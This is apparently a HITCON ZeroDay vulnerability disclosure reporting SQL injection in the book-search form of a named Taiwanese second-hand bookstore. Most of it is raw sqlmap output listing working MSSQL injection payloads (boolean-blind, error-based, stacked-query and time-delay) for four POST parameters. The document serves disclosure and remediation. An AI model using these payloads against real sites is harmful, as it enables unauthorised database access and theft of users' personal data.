茉莉二手書店 SQL Injection 漏洞

Vulnerability Overview

ZDID: ZD-2019-00813
發信 Vendor: 茉莉二手書店
Title: 茉莉二手書店 SQL Injection 漏洞
Introduction: SQL Injection

處理狀態

目前狀態

公開

Last Update : 2019/10/13

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2019/08/13 03:32:05 : 新提交 (由 tmp 更新此狀態)
2019/08/13 03:56:57 : 新提交 (由 tmp 更新此狀態)
2019/08/13 21:54:59 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/08/27 01:31:48 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/08/27 01:31:48 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/08/27 01:31:48 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/10/08 10:31:32 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/10/13 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2019-00813
通報者：CSY54 (tmp)
風險：高
類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

在欄位嘗試填入單引號發現錯誤訊息並未關閉

使用 sqlmap 掃描

---
Parameter: Publisher (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: Action=BookSerach&BookName=&Author=&Publisher=' AND 7136=(SELECT (CASE WHEN (7136=7136) THEN 7136 ELSE (SELECT 1455 UNION SELECT 6022) END))-- HrEp&BarCode=&XCHK=Y

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
    Payload: Action=BookSerach&BookName=&Author=&Publisher=' AND 7206 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (7206=7206) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)))-- RONx&BarCode=&XCHK=Y

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Action=BookSerach&BookName=&Author=&Publisher=';WAITFOR DELAY '0:0:5'--&BarCode=&XCHK=Y

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: Action=BookSerach&BookName=&Author=&Publisher=' WAITFOR DELAY '0:0:5'-- tbje&BarCode=&XCHK=Y

Parameter: BarCode (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: Action=BookSerach&BookName=&Author=&Publisher=&BarCode=' AND 2155=(SELECT (CASE WHEN (2155=2155) THEN 2155 ELSE (SELECT 7604 UNION SELECT 2855) END))-- iMdA&XCHK=Y

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
    Payload: Action=BookSerach&BookName=&Author=&Publisher=&BarCode=' AND 1257 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (1257=1257) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)))-- HEjg&XCHK=Y

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Action=BookSerach&BookName=&Author=&Publisher=&BarCode=';WAITFOR DELAY '0:0:5'--&XCHK=Y

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: Action=BookSerach&BookName=&Author=&Publisher=&BarCode=' WAITFOR DELAY '0:0:5'-- mLDa&XCHK=Y

Parameter: Author (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: Action=BookSerach&BookName=&Author=' AND 9658=(SELECT (CASE WHEN (9658=9658) THEN 9658 ELSE (SELECT 6522 UNION SELECT 4359) END))-- HVkO&Publisher=&BarCode=&XCHK=Y

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
    Payload: Action=BookSerach&BookName=&Author=' AND 5853 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (5853=5853) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)))-- QWEb&Publisher=&BarCode=&XCHK=Y

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Action=BookSerach&BookName=&Author=';WAITFOR DELAY '0:0:5'--&Publisher=&BarCode=&XCHK=Y

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: Action=BookSerach&BookName=&Author=' WAITFOR DELAY '0:0:5'-- PVac&Publisher=&BarCode=&XCHK=Y

Parameter: BookName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: Action=BookSerach&BookName=' AND 7865=(SELECT (CASE WHEN (7865=7865) THEN 7865 ELSE (SELECT 1785 UNION SELECT 6143) END))-- DoNL&Author=&Publisher=&BarCode=&XCHK=Y

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
    Payload: Action=BookSerach&BookName=' AND 3069 IN (SELECT (CHAR(113)+CHAR(112)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (3069=3069) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)))-- EaSL&Author=&Publisher=&BarCode=&XCHK=Y

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: Action=BookSerach&BookName=';WAITFOR DELAY '0:0:5'--&Author=&Publisher=&BarCode=&XCHK=Y

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF)
    Payload: Action=BookSerach&BookName=' WAITFOR DELAY '0:0:5'-- BnbR&Author=&Publisher=&BarCode=&XCHK=Y
---

獲取資料庫名稱

修補建議

過濾使用者輸入

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

茉莉二手書店 SQL Injection 漏洞 - HITCON ZeroDay

Vulnerability Detail Report